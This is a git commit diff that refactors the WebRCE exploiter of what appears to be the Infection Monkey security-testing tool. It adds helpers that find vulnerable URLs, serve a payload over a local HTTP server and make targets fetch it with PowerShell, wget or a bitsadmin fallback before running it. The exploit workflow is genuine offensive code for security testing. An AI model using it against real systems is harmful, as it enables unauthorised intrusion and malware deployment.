Merge pull request #178 from VakarisZ/WebRCE_Framework
Added functions get_monkey_paths and run_backup_commands
This commit is contained in:
commit
aab8f9295e
|
@ -410,8 +410,6 @@ class HTTPTools(object):
|
|||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
@ -515,7 +513,7 @@ def get_monkey_depth():
|
|||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from source path.
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
|
|
|
@ -37,6 +37,7 @@ class WebRCE(HostExploiter):
|
|||
'win64': self._config.dropper_target_path_win_64}
|
||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
self.vulnerable_urls = []
|
||||
|
||||
def get_exploit_config(self):
|
||||
"""
|
||||
|
@ -77,38 +78,32 @@ class WebRCE(HostExploiter):
|
|||
return False
|
||||
# Get urls to try to exploit
|
||||
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||
vulnerable_urls = []
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
vulnerable_urls.append(url)
|
||||
if exploit_config['stop_checking_urls']:
|
||||
break
|
||||
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
||||
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
||||
|
||||
if not vulnerable_urls:
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
|
||||
# Skip if monkey already exists and this option is given
|
||||
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
||||
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True
|
||||
|
||||
# Check for targets architecture (if it's 32 or 64 bit)
|
||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]):
|
||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
|
||||
return False
|
||||
|
||||
# Upload the right monkey to target
|
||||
data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands'])
|
||||
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
|
||||
|
||||
if data is not False and data['response'] is False:
|
||||
return False
|
||||
|
||||
# Change permissions to transform monkey into executable file
|
||||
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
|
||||
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
|
||||
return False
|
||||
|
||||
# Execute remote monkey
|
||||
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
||||
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -202,6 +197,23 @@ class WebRCE(HostExploiter):
|
|||
LOG.info("No attack url's were built")
|
||||
return url_list
|
||||
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
"""
|
||||
Gets vulnerable url(s) from url list
|
||||
:param urls: Potentially vulnerable urls
|
||||
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
|
||||
:return: None (we append to class variable vulnerable_urls)
|
||||
"""
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
self.vulnerable_urls.append(url)
|
||||
if stop_checking:
|
||||
break
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
# We add urls to param used in reporting
|
||||
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
:param url: Url for exploiter to use
|
||||
|
@ -282,6 +294,21 @@ class WebRCE(HostExploiter):
|
|||
self.host.os['machine'] = arch
|
||||
return True
|
||||
|
||||
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||
"""
|
||||
If you need multiple commands for the same os you can override this method to add backup commands
|
||||
:param resp: Response from base command
|
||||
:param url: Vulnerable url
|
||||
:param dest_path: Where to upload monkey
|
||||
:param http_path: Where to download monkey from
|
||||
:return: Command's response (same response if backup command is not needed)
|
||||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
||||
def upload_monkey(self, url, commands=None):
|
||||
"""
|
||||
:param url: Where exploiter should send it's request
|
||||
|
@ -290,39 +317,31 @@ class WebRCE(HostExploiter):
|
|||
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
||||
"""
|
||||
LOG.info("Trying to upload monkey to the host.")
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
if not self.host.os['type']:
|
||||
LOG.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
# Determine which destination path to use
|
||||
LOG.debug("Monkey path found")
|
||||
path = self.get_monkey_upload_path(src_path)
|
||||
if not path:
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
if not self.host.os['type']:
|
||||
LOG.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
# Choose command:
|
||||
if not commands:
|
||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(path, http_path, commands)
|
||||
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||
|
||||
resp = self.exploit(url, command)
|
||||
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
||||
resp = self.exploit(url, backup_command)
|
||||
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Uploading process finished")
|
||||
return {'response': resp, 'path': path}
|
||||
return {'response': resp, 'path': paths['dest_path']}
|
||||
|
||||
def change_permissions(self, url, path, command=None):
|
||||
"""
|
||||
|
@ -421,6 +440,21 @@ class WebRCE(HostExploiter):
|
|||
"custom dict of monkey's destination paths")
|
||||
return False
|
||||
|
||||
def get_monkey_paths(self):
|
||||
"""
|
||||
Gets local (used by server) and destination (where to download) paths.
|
||||
:return: dict of source and destination paths
|
||||
"""
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
# Determine which destination path to use
|
||||
dest_path = self.get_monkey_upload_path(src_path)
|
||||
if not dest_path:
|
||||
return False
|
||||
return {'src_path': src_path, 'dest_path': dest_path}
|
||||
|
||||
def get_default_dropper_path(self):
|
||||
"""
|
||||
Gets default dropper path for the host.
|
||||
|
|
|
@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread):
|
|||
self._stopped = False
|
||||
self.lock = lock
|
||||
threading.Thread.__init__(self)
|
||||
self.daemon = True
|
||||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
|
|
Loading…
Reference in New Issue